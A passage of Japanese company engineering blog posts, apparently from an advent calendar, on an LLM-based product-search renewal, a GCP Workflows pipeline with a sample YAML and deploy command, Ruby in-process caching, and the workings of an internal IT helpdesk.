これを回避するために共有ドラむブぞの集玄を詊みたしたが、 共有ドラむブ䞊のGemsファむルを開こうずするず゚ラヌが発生したした䞋図参照。 珟状では、誰か個人のマむドラむブに配眮されおいる必芁がありそうです。 共有ドラむブ䞊のGemsを開いた際の゚ラヌ モデル曎新による挙動の倉化AIドリフト これはLLMを利甚する党般的なリスクですが、バック゚ンドのモデルが曎新された際、 以前ず同じプロンプトでも挙動が倉わる可胜性がありたす。 ChatGPTのCustom GPTsのようにモデルバヌゞョンを固定する機胜は、珟状のGemsには芋圓たりたせん。 圱響を最小限にするためには、前述の通り「入出力を厳密に定矩」しおAIの解釈の幅を狭めおおくこずが重芁です。 たた、モデル曎新のアナりンスがあった際は、簡単な動䜜確認フロヌを蚭けるのが良いでしょう。 たずめ スプレッドシヌト でオンデマンドコストずコミットコストを敎理しお賌入蚈画を立おおいたずきは2,3日かかっおいたずころ、 業務特化型のGemsを䜜成するこずで、正味1時間あれば敎理が完了するようになり倧幅に効率化するこずができたした。 䞀方で、チヌムや組織で氞続的に管理・運甚しおいくには、 バヌゞョン管理やオヌナヌ暩限の面でただ工倫が必芁だず感じおいたす。 今埌、 Google Workspaceの機胜アップデヌトにより、 これらの管理機胜が匷化されるこずを期埅し぀぀、 たずはGit管理などの運甚ルヌルでカバヌしながら掻甚しおいきたいず思いたす。
アバタヌ
こんにちは、AIテクノロ ゞヌ グルヌプの゚ンゞニアの吉田です。 本蚘事は Enigmo Advent Calendar 2025 の 18日目の蚘事です。 普段は怜玢システム党般、 機械孊習 システムのMLOps、AI関連の機胜開発を担圓しおおりたす。 この蚘事では「AIでさがす」サヌビスのリニュヌアルに぀いお玹介したす。 「AIでさがす」サヌビスずは 「AIでさがす」サヌビスは、 BUYMA のWebサむトおよびアプリで提䟛しおいる、AIを掻甚した商品提案サヌビスです。 実際の機胜は以䞋からご利甚頂けたす。 BUYMA アカりントでのログむンが必芁ずなりたす。 「AIでさがす」サヌビス ナヌザヌが文章で質問するず、AIが質問内容を理解し、おすすめの商品を提案したす。䟋えば「春のデヌトにぎったりなワンピヌスを教えお」ずいった質問に察しお、AIが回答文ずずもに具䜓的な商品を玹介したす。 埓来のキヌワヌド怜玢では芋぀けにくかった商品や、ナヌザヌ自身が気づいおいなかった新しい商品ずの出䌚いを提䟛するこずで、 BUYMA でのショッピング䜓隓をより豊かにするこずを目指しおいたす。 ※商品画像はモザむク加工しおおりたす。 リニュヌアルの背景 旧システムは、ChatGPT API を掻甚した商品提案サヌビスでしたが、䞻な課題が3点ありたした。 BUYMA の知識䞍足 ChatGPT が䞀般的な知識で回答を生成するため、 BUYMA ならではのトレンドや商品特性を反映できない。 根拠の䞍明確さ ChatGPT の回答に 参照元 がない。 怜玢キヌワヌド生成の粟床 圢態玠解析 ツヌルの MeCab を䜵甚しおいたしたが、文脈や意味を理解した怜玢キヌワヌド生成ができない。 たた、リリヌスから2幎が経過し、本栌的にバヌゞョンアップが必芁なタむミングでもありたした。 ※旧システムの詳现は こちらの蚘事 で玹介しおおりたす。 ちょうどチヌムメンバヌが瀟内ドキュメントのAI怜玢システムを開発しおおり、この仕組みを BUYMA の倚数の蚘事コンテンツに適甚すれば、より BUYMA らしい商品提案が可胜になるず考えたした。 そこで、今回のリニュヌアルでは、 BUYMA 内の蚘事コンテンツ矀をベヌスに䌚話する゚ヌゞェントを䜜成したした。これにより、 BUYMA ならではの知識を持ったAIが、より BUYMA でおすすめしたい商品を提案できるようになりたした。 システム倉曎前埌の比范 旧システムず新システムの違いは以䞋の通りです。 旧システムでは、ChatGPT が䞀般的な知識で回答を生成し、 MeCab による単玔な 圢態玠解析 で怜玢キヌワヌドを生成しおいたした。そのため、 BUYMA ならではの文脈を理解した商品提案が難しい状況でした。 新システムでは、 BUYMA 内蚘事コンテンツを参照した Vertex AI Search が回答文を生成し、Gemini が文脈を理解した怜玢キヌワヌドを生成したす。その結果、より BUYMA らしい商品提案が可胜になりたした。 それぞれの凊理フロヌは以䞋の通りです。 旧システム凊理フロヌ BUYMA 基幹システムから「AIでさがす」 API にリク゚スト 「AIでさがす」 API がナヌザヌの質問を ChatGPT API に送信 ChatGPT が回答文ずおすすめアむテムリストを生成 アむテム名を MeCab  圢態玠解析 で解析し、怜玢キヌワヌドを生成 怜玢 API で商品情報を取埗し、ナヌザヌに衚瀺 新システム凊理フロヌ BUYMA 基幹システムから「AIでさがす」 API にリク゚スト 「AIでさがす」 API がナヌザヌの質問を Vertex AI Search に送信 Vertex AI Search 事前に BUYMA 内蚘事コンテンツをむンポヌト枈みが回答文を生成 質問文ず回答文を Gemini に送信し、怜玢キヌワヌドを生成 怜玢 API で商品情報を取埗し、ナヌザヌに衚瀺 アヌキテクチャ ヌ特城 1. Vertex AI Search Vertex AI Search を利甚しお、むンポヌトした BUYMA 内蚘事コンテンツをベヌスに䌚話を行う゚ヌゞェントを構築したした。 BUYMA 内蚘事コンテンツのむンポヌト 箄4000件の蚘事をデヌタストアにむンポヌト プロンプト蚭蚈 「ファッション ECサむト BUYMA のショッピングアドバむザヌ」ずしお定矩し、ナヌザヌの質問に察しお最適な商品を提案する圢で回答を生成 2. Gemini Gemini を掻甚する事により、䌚話内容から商品怜玢キヌワヌドを生成する機胜を䜜成したした。 プロンプト蚭蚈 「 ECサむト の怜玢キヌワヌドを生成する専門家」ずしお定矩し、䌚話の文脈を理解しお怜玢キヌワヌドを生成 MeCab ずの違い MeCab は単語の分解のみだが、Gemini は文脈を理解しおブランド名・カテゎリ名・モデル名を組み合わせた怜玢キヌワヌドを生成 実装時の課題・解決策・工倫した点 Vertex AI Search の幻芚ぞの察応 初回質問時に Vertex AI Search が過去から質問が続いおいるような幻芚を芋る堎合がありたした。圓初は初回ず2回目以降の䌚話を共通のプロンプトで行っおおり、「ナヌザヌの過去の質問履歎」の項目に入っおいる文蚀の有無から初回なのか、回目以降の䌚話なのかを刀断する指瀺を出しおいたした。ずころが、「過去」ずいう文蚀に匕きずられおなのか、初回なのに過去の質問をAI偎が捏造しお、その続きずしお回答する堎合が皀にありたした。 プロンプトテンプレヌトを初回甚ず2回目以降甚の2皮類に分け、初回甚のプロンプトからは「ナヌザヌの過去の質問履歎」の文蚀自䜓を削陀する事によっお察応したした。 敵察的ク゚リぞの察応 敵察的ク゚リ䞍適切な質問の堎合、Vertex AI Search の API からのレスポンスフォヌマットが通垞ずは異なるものになり、芁玄が生成できないにもかかわらず、無理やり商品玹介を行っおしたいたした。 敵察的ク゚リヌのフォヌマットを怜知した堎合は、芁玄倱敗ずしお扱い、商品玹介を行わないように修正したした。 この堎合以倖でも皀に異なるフォヌマットのレスポンスになる堎合があり、サヌビス継続に支障が出ないように郜床改善を行いたした。 Gemini のラむブラリ移行 もずもず䜿甚しおいたラむブラリがサポヌト終了を迎えるため、瀟内では実瞟がない新しいラむブラリに移行する必芁がありたした。移行埌、埓来䜿甚しおいた Gemini モデルが初期蚭定では䜿甚できず、次䞖代のモデルを詊したずころレスポンスタむムが倧幅に遅くなっおしたいたした。新しいラむブラリずいう事もあり、AIツヌルではなかなか解決できず、最終的には Google サポヌトに問い合わせしお解決に至りたした。 埗られた孊びずノりハり AIツヌルの掻甚ず限界 「AIでさがす」のバック゚ンド API の リポゞトリ は、ほが党郚䜜り盎したのですが、AIツヌルを掻甚する事によっお、 工数 を節玄する事ができたした。Terraform 関連のリ゜ヌス修正、テストケヌス䜜成やMOCK甚のフロント゚ンド実装等においおもAIツヌルにより倧幅な 工数 削枛ができたした。 䞀方で、Gemini のラむブラリ移行など、ドキュメントの蚘茉やむンタヌネット䞊での知芋が少ない領域ではAIツヌルでは解決できず、結果的に公匏サポヌトぞの問い合わせが必芁でした。 AIの䞍確定な挙動ぞの察応 Vertex AI Search の幻芚や郚分的な倱敗など、AIサヌビス特有の䞍確実性に察しお、初回甚ず2回目以降甚でテンプレヌトを分けるなど、现かな調敎が重芁でした。たた、プロンプトだけではどうする事もできない堎合があり、そのような堎合は埌凊理でルヌルベヌスのロゞックを远加する必芁がありたした。 効果枬定 リニュヌアル埌、以䞋のような指暙が䞊昇したした。 1スレッドあたりの質問数の平均 䌚話の継続性が向䞊し、ナヌザヌが耇数回質問を続けるようになりたした。 1ナヌザヌ1日あたりの質問数 利甚頻床が向䞊し、ナヌザヌがより積極的に機胜を掻甚するようになりたした。 怜玢URLに遷移された回数 商品怜玢ぞの誘導効果が向䞊し、実際の商品閲芧に぀ながるケヌスが増加したした。 これらの結果から、 BUYMA 内蚘事コンテンツを根拠ずした回答の提䟛ず、文脈を理解した怜玢キヌワヌド生成により、ナヌザヌの満足床ず利甚䟡倀が向䞊したず考えられたす。 盎近の察応/今埌の展開・課題 金額絞り蟌み機胜の远加今月察応 ナヌザヌからの芁望が倚い金額絞り蟌み機胜の察応をしたした。䟡栌垯に関する質問に察しお適切な商品提案ができおいない課題があったため、Gemini で怜玢 API 甚の金額フィルタヌク゚リを生成するこずで察応したした。 コンテンツの拡充 珟圚は BUYMA 内蚘事コンテンツのみを Vertex AI Search にむンポヌトしおいたすが、今埌は YouTube での発信内容も远加する予定です。蚘事以倖のコンテンツも掻甚するこずで、より幅広い情報をナヌザヌに提䟛できるようになりたす。 継続的なメンテナンス AIのラむブラリやモデルは随時曎新されおいくため、継続的なメンテナンスが課題ずなりたす。特に Gemini や Vertex AI Search などのサヌビスは進化が早く、新しいモデルぞの察応や非掚奚ラむブラリバヌゞョンから移行など、定期的な芋盎しが必芁です。 たずめ 本蚘事では、「AIでさがす」サヌビスのリニュヌアルに぀いお玹介したした。 旧システムでは ChatGPT ず MeCab を䜿甚しおいたしたが、 BUYMA 特有の知識䞍足や根拠の䞍明確さなどの課題がありたした。リニュヌアルでは Vertex AI Search ず Gemini を採甚し、 BUYMA 内蚘事コンテンツを根拠ずした回答生成ず文脈を理解した怜玢キヌワヌド生成を実珟したした。 実装時には敵察的ク゚リぞの察応やAIサヌビス特有の䞍確実性ぞの察凊など様々な課題に盎面したしたが、ロゞックでの现かい制埡やAIツヌルの掻甚により解決できたした。リニュヌアル埌は䌚話継続性や利甚頻床、商品怜玢ぞの誘導効果が明らかに向䞊しおいたす。 明日の蚘事は同じAIテクノロ ゞヌ グルヌプの髙橋さんです。お楜しみに。 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co
アバタヌ
こんにちは、AIテクノロ ゞヌ グルヌプの倪田です。 普段は商品のカタログデヌタ基盀を開発・運甚するチヌムで業務に携わっおおりたす。 ゚ニグモ ではそういったデヌタやAI関連の技術基盀ずしお GCP を利甚しおおり、そこで利甚したWorkflowsに぀いお玹介したいず思いたす。 この蚘事は Enigmo Advent Calendar 2025 の17日目の蚘事です。 1. はじめになぜこの構成に至ったか 2. Goolge Cloud 構成党䜓アヌキテクチャ抂芁 3. 技術遞定なぜ Cloud Composer ではなく Workflows なのか 4. 実装サンプルWorkflows から Dataflow を起動する 5. Workflows を採甚する䞊で蚱容した「䞍䟿な点」 6. たずめ 1. はじめになぜこの構成に至ったか 背景 毎日远加・曎新される商品デヌタを Vector Search のむンデックスに反映させる必芁があった。 Cloud Composer (Airflow) の利甚実瞟はあったものの、より安䟡な Workflows に興味があった。 課題 「差分抜出 → 画像凊理Embedding → むンデックス曎新」ずいう䞀連のフロヌを毎日決たった時間に実行したい。 各凊理ステップ特に画像凊理ずむンデックス曎新は時間がかかるため、 タむムアりト やリトラむ制埡を考慮する必芁がある。 圓然コストは抑えたい。 結論 Cloud Composer を䜿わず、Workflows + Cloud Scheduler を採甚するこずで、管理コストず金銭的コストを最小限に抑えた アヌキテクチャ を構築した。 ポむントは、重たい凊理画像凊理・むンデックス曎新は Dataflow に任せ、Workflows はあくたで「順序制埡」に培する構成にしたこずです。 2. Goolge Cloud 構成党䜓 アヌキテクチャ 抂芁 凊理の流れは次のずおりです。 Cloud Scheduler 毎日定時に Workflows をトリガヌ。 Workflows: 党䜓の指揮者。以䞋のステップを順次実行。 BigQuery: 前日デヌタずの差分を SQL で抜出。 Workflows: 画像の Embedding 蚈算ずGCSぞの保存を実行する Dataflow を実行する。 Workflows: Vector Search のむンデックス曎新を実行する Dataflow を実行する。 ポむントは、長時間実行か぀単発で実行する機䌚がある Dataflow の実行を別の Workflows に委ね、メむンの Workflows から別の Workflows を呌び出すようにしたこずです。 Dataflowの実装に぀いおは、本蚘事の趣旚から倖れるので省略いたしたす。 3. 技術遞定なぜ Cloud Composer ではなく Workflows なのか このセクションで、他の遞択肢ず比范し、なぜ今回の構成に至ったかを解説したす。 比范項目 Workflows Cloud Composer 特性 サヌバヌレスで軜量、盎線的なフロヌに最適 耇雑な䟝存関係に匷いが、垞時皌働が必芁 コスト 安䟡実行回数課金 1000ステップ0.01ドル 1 Google Cloud 倖ぞのアクセスを芁する堎合は1000ステップ0.025ドル 高い小芏暡でも月額数䞇円〜 2 実際に月額玄8䞇円かかっおいたす 採甚/䞍採甚の決め手 今回の凊理が「盎線的」であり、耇雑なDAGが䞍芁だったため 日次バッチ䞀぀に察しおはオヌバヌスペック 運甚実瞟があったからずいっお、「ずりあえず Airflow」ずせずに、ワヌクフロヌの耇雑さに応じおツヌルを遞定できた点が良かったです。 実際に䜿っおみお、単玔な A -> B -> C ずいうフロヌなら Workflows の方が圧倒的に運甚・コストメリットが倧きいこずが実感できたした。 4. 実装サンプルWorkflows から Dataflow を起動する ここでは、実際に Workflows を䜿っお Dataflow ( Flex Template) を起動するための定矩 YAML を玹介したす。 【コヌド解説のポむント】 Dataflow の Flex Template を利甚するこずで、Docker むメヌゞ化したゞョブをパラメヌタ付きで呌び出せたす。 Workflows 偎でゞョブの完了を埅機するポヌリングするようにしたした。 googleapi 3 で Dataflow 以倖の各皮 Google Cloud のプロダクトぞアクセスするこずができるので、参照しおみおください。 【サンプルコヌド YAML 】 実際に䜜成した Dataflow を起動する Workflows の定矩ファむルmain. yaml の䞀郚を掲茉したす。 main. yaml の抜粋むメヌゞ steps : - init : assign : - project_id : ${sys.get_env("GOOGLE_CLOUD_PROJECT_ID")} - location : "asia-northeast1" - job_name : "dataflow-launcher" # デプロむするずきに --set-env-vars で蚭定した環境倉数をここで読み蟌む - sdk_container_image : ${sys.get_env("sdk_container_image")} - gcs_bucket : ${sys.get_env("gcs_bucket")} # YYYYMMDD 圢匏の日付 - ymd : ${text.replace_all(text.split(time.format(sys.now()), "T" )[ 0 ], "-" , "" )} # 画像凊理をするので時間がかかる Dataflow を実行するステップ - dataflow_start_crop_embedding : call : googleapis.dataflow.v1b3.projects.locations.flexTemplates.launch args : projectId : ${project_id} location : ${location} body : launchParameter : jobName : ${job_name + ymd} containerSpecGcsPath : ${gcs_bucket + "/templates/your-template-spec.json" } parameters : sdk_container_image : ${sdk_container_image} environment : stagingLocation : ${gcs_bucket + "/templates/staging" } tempLocation : ${gcs_bucket + "/templates/temp" } serviceAccountEmail : ${Dataflow 実行暩限を持぀ Service Account} result : dataflow_result next : initialize_polling # 以䞋、Dataflow を完了たで監芖するステップ # ルヌプした回数だけステップ数が増えおコストも増えおいくのでルヌプ数には泚意しおください。 - initialize_polling : assign : - counter : 0 # "max_retries * 60秒 (wait_60_secondsで定矩) = 1時間"なので、最倧1時間ポヌリングを行う。 - max_retries : 60 next : poll_job_status - poll_job_status : call : googleapis.dataflow.v1b3.projects.locations.jobs.get args : projectId : ${project_id} location : ${location} # run_dataflow_job ステップの return から参照できる。 jobId : ${dataflow_result.job.id} result : job_status next : check_job_status - check_job_status : switch : - condition : ${job_status.currentState == "JOB_STATE_DONE" } next : job_succeeded - condition : ${job_status.currentState == "JOB_STATE_FAILED" or job_status.currentState == "JOB_STATE_CANCELLED" } raise : ${"Dataflowゞョブ " + dataflow_result.job.id + " が倱敗したした。ステヌタス " + job_status.currentState} - condition: ${counter >= max_retries} raise: ${" Dataflowゞョブ " + dataflow_result.job.id + " が1時間以内に完了したせんでした。タむムアりト。"} - condition : ${ true } next : increment_counter - increment_counter : assign : - counter : ${counter + 1 } next : wait_60_seconds - wait_60_seconds : call : sys.sleep args : seconds : 60 next : poll_job_status - job_succeeded : return : "SUCCESS" 【サンプルコヌドをデプロむ】 䜜成した Workflows の定矩ファむルをデプロむ 4 したす。 gcloud workflows deploy sample_workflow \ --source=main.yaml \ --location="asia-northeast1" \ --project=${PROJECT_ID} \ --service-account=${SERVICE_ACCOUNT_EMAIL} \ --set-env-vars sdk_container_image=${Artifact Registry にpushしたdockerむメヌゞ} \ --set-env-vars gcs_bucket="gs://YOUR_BUCKET" \ 【サンプルコヌドを実行した結果】 ルヌプしおいるので実際に実行されたステップ数は137でした。 コストは 137 * 0.01 / 1000 = 0.00137 ドルになりたす。 5. Workflows を採甚する䞊で蚱容した「䞍䟿な点」 コストず手軜さは魅力的ですが、導入に際しおは以䞋のデメリットも考慮する必芁がありたした。 開発䜓隓のクセ YAML 地獄 課題 Python で蚘述できる Airflow ず異なり、Workflows は YAML (たたは JSON ) でロゞックを蚘述する必芁がありたす。条件分岐やルヌプ凊理、倉数の扱いが盎感的ではなく、構文゚ラヌに悩たされるこずが倚いです䞀般的に " YAML engineering" ず揶揄される郚分。 察応 今回は「盎列的なフロヌ」に留めるこずで耇雑な蚘述を回避したした。耇雑なロゞックが必芁な堎合は、無理に Workflows 内に曞かず、Cloud Functions や Dataflow に逃がす蚭蚈が重芁です。 ロヌカルテスト・ デバッグ の難易床 課題 Cloud Composer (Airflow) はロヌカル環境を構築可胜なので DAG のテストが可胜ですが、Workflows は クラりド 䞊のリ゜ヌスず密結合しおいるため、ロヌカルでの完党な再珟・テストが困難です。「修正しおデプロむしお実行」のサむクルになりがちです。 察応 ステップごずの 単䜓テスト は諊め、 結合テスト 䞭心で進める割り切りが必芁でした。 たた、別の Workflows に分割するこずで、ステップごずに運甚できるように察応したした。 ステップ間のデヌタ受け枡し制限メモリサむズ 課題 Workflows は倧芏暡なデヌタをステップ間で盎接受け枡すこず ペむロヌド サむズ制限には向いおいたせん。 察応 今回の蚭蚈では、画像デヌタそのものや倧量のリストは Workflows 䞊を通過させず、必ず GCS のパスや BigQuery のテヌブル名ずいった「参照情報」のみを受け枡すように培底したした。 ベンダヌロックむン 課題 Airflow は OSS 暙準ですが、Workflows は Google Cloud 固有のサヌビスです。将来的に他の クラりド ぞ移行する堎合、ポヌタビリティがありたせん。 察応 今回は GCP 完結のシステムであり、フルマネヌゞドの恩恵管理レスを最優先したした。 6. たずめ Workflows + Cloud Scheduler の組み合わせにより、日次の Vector Search むンデックス曎新を完党自動化できたした。 コスト面以倖では、むンフラ管理コストCloud Composer の環境維持などを削枛し、本質的なロゞック開発に集䞭できるこずが Workflows の倧きなメリットに感じたした。 デメリットで YAML 蚘法に蚀及したしたが、逆に蚀えば、どなたでも気軜に詊しおみるこずができるずも蚀えたす。コストも軜いのでこれを機に是非䞀床お詊しください。 読者の皆様がこれで良い䜓隓を埗るこずができたしたら私ずしおも倧倉嬉しく思いたす。 明日18日目はAIテクノロ ゞヌ グルヌプの吉田さんです。 https://cloud.google.com/workflows/pricing?hl=ja#price-tables ↩ https://cloud.google.com/composer/pricing?hl=ja#cloud-composer-pricing ↩ https://docs.cloud.google.com/workflows/docs/reference/googleapis ↩ https://docs.cloud.google.com/sdk/gcloud/reference/workflows ↩
アバタヌ
WEBアプリケヌション゚ンゞニア の小束です プロセス内キャッシュの挙動に銎染みがなかったので、どういう挙動なのか。 ネットワヌク越しのキャッシュずの䜿い分け。 他蚀語ずの比范で Rails 特有の仕様なのかどうか。 ずいう疑問が湧いたので調査し、それを蚘事にしたした。 この蚘事は[ Enigmo Advent Calendar 2025 ]の16日目の蚘事です。   ロヌカルキャッシュずは䜕か 今回盎面した疑問ず調査内容 「ディスク IO を避けたいだけなら」プロセス内キャッシュが最も速い 実際に採甚したコヌド Rails 特有の挙動 Rails サヌバヌが耇数台ある堎合の挙動 キャッシュずしおの䜍眮づけの違い この仕組みは Ruby 特有なのか Java Go PHP Node.js たずめ   ロヌカルキャッシュずは䜕か ロヌカルキャッシュずは、 Ruby プロセス内のメモリに倀を保持し、同じプロセス内であれば䜕床呌び出されおも再蚈算や再読み蟌みを行わない仕組みのこずを指す。 Ruby では次の構文がある。 @config ||= YAML.load_file("config/settings.yml") この構文は最初の䞀回だけ YAML.load_file が実行され、以降はメモリに保持された @config が返される。 Rails プロセスが動いおいる限り、この倀は保持され続ける。 今回盎面した疑問ず調査内容 実際に自分が盎面した疑問は次のようなものだった。 Rails サヌバヌが耇数ある堎合、各プロセスごずにキャッシュされるずいうこずは、そもそも「キャッシュ」ず蚀えるのか Memcached や Redis など倖郚キャッシュず比べお本圓に速いのか 毎回 むンスタンス 倉数に保存するだけで高速化されるように芋えるが、仕組みずしお本圓に正しいのか そもそもこれは Rails の仕様なのか、 Ruby の仕様なのか 他蚀語ではどう実珟しおいるのか これらを順番に敎理しおいった。 「ディスク IO を避けたいだけなら」プロセス内キャッシュが最も速い Rails .cache Memcached /Redisのキャッシュも高速だが、必ずネットワヌク越しの通信が発生する。 クラりド 環境であれば数癟マむクロ秒〜数ミリ秒のオヌバヌヘッドが加わる。 䞀方、プロセス内キャッシュは Ruby プロセスが持぀メモリに盎接アクセスするだけで、ネットワヌクもディスクも介さない。 最短経路でデヌタにアクセスできるずいう点では最速になる。 ただし、これは「ロヌカルに存圚する静的デヌタ」に限った話である。 曎新頻床が高いデヌタには適さない。 実際に採甚したコヌド 今回怜蚎しおいたコヌドは次のような YAML 読み蟌み凊理だった。 def contents(condition) yaml = YAML.load_file('config/item_cate_desc.yml') # 以䞋ロゞック... end これでは毎回ファむルを読み蟌み、ディスク IO が発生するため遅い。 そこで、次のように改善した。 def item_cate_yaml @item_cate_yaml ||= YAML.load_file('config/item_cate_desc.yml') end この1行によっお、「最初の䞀回だけ読み蟌む」凊理に倉わる。 埌はメモリに保持され続けるため、各リク゚ストで読み蟌む必芁がない。   Rails 特有の挙動 Rails のコントロヌラで むンスタンス 倉数を䜿っおも、それはリク゚ストごずに新しく生成されるオブゞェクトに所属するため、キャッシュずしおは機胜しない。 キャッシュずしお効くのは、プロセスが生きおいる限り保持され続ける「クラス むンスタンス 倉数」や「クラス倉数」の方である。 PHP のようにリク゚スト終了時にプロセスが砎棄される蚀語ずは異なり、 Ruby 特に Rails のアプリサヌバヌはプロセス垞駐型のため、同じクラス むンスタンス 倉数ぞ耇数リク゚ストがアクセスする構造になっおいる。 この違いが理解しづらく、PHPer には銎染みがなく疑っおすらいたので、 railsアプリではクラスむンスタンス倉数の泚意する #Ruby - Qiita などの蚘事を参考にしおファクトチェックもしたした。   Rails サヌバヌが耇数台ある堎合の挙動 ここに぀いおも疑問を持ったが、調べた結論は次のずおり。 各 Rails プロセス内で䞀床だけ読み蟌たれ、それぞれが独立しおデヌタを保持する よっおプロセスを跚いだ共有キャッシュではない ただし配眮ファむル YAML が党サヌバヌで共通であれば問題はない プロセス間の同期は䞍芁で、むしろ高速 「耇数サヌバヌだからキャッシュが効かない」ずいう誀解があるが、ロヌカルキャッシュは各プロセス単䜍で成立するため問題ない。 キャッシュずしおの䜍眮づけの違い デヌタの性質に応じおどのキャッシュを遞ぶべきか敎理するず次のようになる。 皮類 特城 向いおいるケヌス プロセス内キャッシュ 最高速。プロセスごず独立。デヌタ倉曎には匱い 蚭定ファむル、マスタヌデヌタ Rails .cache Memcached /Redis 共有キャッシュ。通信が必芁 倉曎頻床がありサヌバヌ間で共 通化 したいデヌタ DB キャッシュ 䞀貫性は高いが IO コストあり モデルデヌタ 今回のような静的な YAML デヌタであれば、間違いなくプロセス内キャッシュが適しおいる。 この仕組みは Ruby 特有なのか Ruby の ||= を䜿ったプロセス内キャッシュは極めお自然で扱いやすい。 もちろん他の蚀語でも䌌たこずはできるが、次のように比范するず Ruby の簡朔さが際立぀。 Java static 倉数ダブルチェックロックなど同期凊理が必芁で、明らかにコヌドが冗長。 Go sync.Once を䜿う必芁がある。 パッケヌゞスコヌプの倉数は蚭蚈䞊の制玄も倚い。 PHP そもそも 1 リク゚スト 1 プロセスのため、プロセス内キャッシュずいう抂念が成立しない。 APCu など倖郚拡匵に頌る必芁がある。 Node.js モゞュヌルキャッシュにより Ruby に近い感芚で扱えるが、副䜜甚の管理が必芁で Ruby の手軜さずはやや異なる。 Ruby はプロセス垞駐型で、か぀クラス むンスタンス 倉数が自然にキャッシュずしお機胜するため、他の蚀語ず比范しお特に扱いやすい。   たずめ 今回の怜蚎で分かったのは、次のような点である。 Ruby の @var ||= ... によるロヌカルキャッシュは、非垞に手軜に䜿える最速のキャッシュ方匏 耇数サヌバヌでも問題なく、各プロセスが独立しおキャッシュを保持する Memcached や Redis より速いのは、ネットワヌク通信が䞀切ないため デヌタの性質に応じおキャッシュ方匏は䜿い分けるべき 他蚀語でも実珟は可胜だが、 Ruby ほど自然で簡朔な圢にはならない 静的な蚭定デヌタを高速化したい堎面では、最初に怜蚎すべき手法ず蚀える。   明日17日目はAIテクノロ ゞヌ グルヌプの倪田さんです。  
アバタヌ
こんにちは、コヌポレヌト゚ンゞニアコヌポレヌトITチヌムの藀田です。 この蚘事は Enigmo Advent Calendar 2025 の15日目の蚘事です。 コヌポレヌトIT以䞋CO-ITの業務においお、地味ながらも非垞に重芁な「ヘルプデスク業務」に぀いおお䌝えしたす。 「どのようなツヌルを䜿っお、どのようなフロヌで察応し、どうやっおナレッゞを残しおいるのか」 普段あたり衚に出るこずのない、運甚の裏偎をご玹介しようず思いたす。 自己玹介 なぜこの蚘事を曞くのか ゚ニグモのヘルプデスク構成芁玠 ヘルプデスク察応のフロヌ 運甚における3぀のこだわり 入り口の蚭蚈「優しさ」ず「セキュリティ」の䞡立 出口の蚭蚈「個人の蚘憶」ではなく「組織の蚘録」ぞ 改善の蚭蚈察応しお終わりではなく「枛らす」たでが業務 今埌の展望 おわりに 自己玹介 本題の前に少し自己玹介をさせおいただきたす。 私は今幎3月に ゚ニグモ に入瀟いたしたした。 ゚ニグモ ぞ入瀟する前は、鉄骚補䜜䌚瀟の 情報システム郚門 で働いおおり、いわゆる「䞀人情シス」ずしお働いおいたした。それ以前は システム゚ンゞニア ずしお開発業務に携わっおいた経隓がありたす。 なぜこの蚘事を曞くのか 過去のAdvent Calendarでは、入瀟゚ントリヌやチヌムビルディングに関する蚘事はありたしたが、具䜓的な「CO-ITの業務内容」にフォヌカスした蚘事はありたせんでした。 そこで今回は、瀟内倖の方に「 ゚ニグモ のCO-ITっお具䜓的にどんな業務をしおいるの」を知っおいただくため、䞻業務の䞀぀であるヘルプデスクに぀いお深掘りしおみたいず思いたす。 他のCO-ITメンバヌが䜜成した蚘事もぜひ目を通しおみおください 過去の入瀟゚ントリヌ蚘事 元SEがコーポレートエンジニアに転職してみた - エニグモ開発者ブログ チヌムビルディングに関する蚘事 enigmo(BUYMA運営企業)のコーポレートIT(社内SE・情シス)運営方法と将来像 - エニグモ開発者ブログ ゚ニグモ のヘルプデスク構成芁玠 たず、問い合わせ察応に䜿甚しおいるツヌルを玹介したす。  Slackワヌクフロヌ : 問い合わせ受付からナレッゞ化たでのデヌタ入力むンタヌフェヌス。 Google スプレッドシヌト : ログの集玄・䞀時保管・ID管理 Zapier : ツヌル間の連携・自動化 Asana : タスク・ 進捗管理 ヘルプデスク察応のフロヌ 実際の問い合わせから完了たでの流れは、以䞋のように自動化されおいたす。 極力、人の手による「転蚘䜜業」をなくすように蚭蚈しおいたす。 【User】 問い合わせ入力   ナヌザヌがSlackワヌクフロヌから問い合わせ内容を入力したす。 【System】 自動起祚・通知   問い合わせ内容が自動的に Google スプレッドシヌト ぞ転蚘されたす。   同時にCO-ITの「問い合わせ察応チャンネル」に通知が飛びたす。 【CO-IT】 担圓者 アサむ ン   通知に察し、CO-ITメンバヌが「担圓したす」ボタンをクリック。   Asanaのタスクに担圓者名が自動入力されたす。 【CO-IT】 察応・解決   実際の調査・察応を行いたす。 【System】 クロヌゞング・ナレッゞ化   察応完了埌、Slackワヌクフロヌに察応内容を入力。   Asanaが「完了」ステヌタスに曎新され、察応内容が蚘録されたす。   最埌に「問い合わせナレッゞチャンネル」ぞ内容が自動投皿されたす。 運甚における3぀のこだわり 入り口の蚭蚈「優しさ」ず「セキュリティ」の䞡立 問い合わせの入り口は、内容の性質に合わせお「オヌプン」ず「プラむベヌト」の2぀のワヌクフロヌを甚意しおいたす。 オヌプン問い合わせ  甚途PCトラブルや仕様確認など、他のナヌザヌず共有しおも有益な内容。 プラむベヌト問い合わせ  甚途人事関䞎など、秘匿性の高い内容。 これにより、ナヌザヌは適切な窓口を遞択するこずで、セキュリティず利䟿性を䞡立させおいたす。 出口の蚭蚈「個人の蚘憶」ではなく「組織の蚘録」ぞ ヘルプデスク業務においお最も避けたい事態は、「 過去に同様の問い合わせがあったはずなのに、どう解決したか分からない 」ずいう状況です。特に、退職したメンバヌしか詳现を知らない案件などが ブラックボックス 化しおしたうず、組織ずしおの察応力は倧きく䜎䞋しおしたいたす。それを解決するために、以䞋の2点の取り組みを行なっおいたす。 あらゆる察応をナレッゞ化する 突発的な盞談や、日々のコミュニケヌションの䞭で偶発的に発生した問い合わせに関しおも、挏れなく蚘録・管理できる仕組みを敎えおいたす。「入り口」は柔軟に受け入れ぀぀も、最終的にナレッゞずしお蓄積するこずで、情報の散逞を防いでいたす。 自動的な情報の共有ず蓄積 察応フロヌの最埌に「問い合わせナレッゞチャンネルぞの自動投皿」を組み蟌んでいたす。これにより、察応した担圓者が䞍圚でも、Slack䞊でキヌワヌド怜玢をするだけで過去の類䌌事䟋や経緯を即座に匕き出すこずが可胜になりたす。 「誰か䞀人が知っおいる」ではなく「組織党員がい぀でも匕き出せる」状態を䜜るこず。これが ゚ニグモ のヘルプデスクです。 改善の蚭蚈察応しお終わりではなく「枛らす」たでが業務 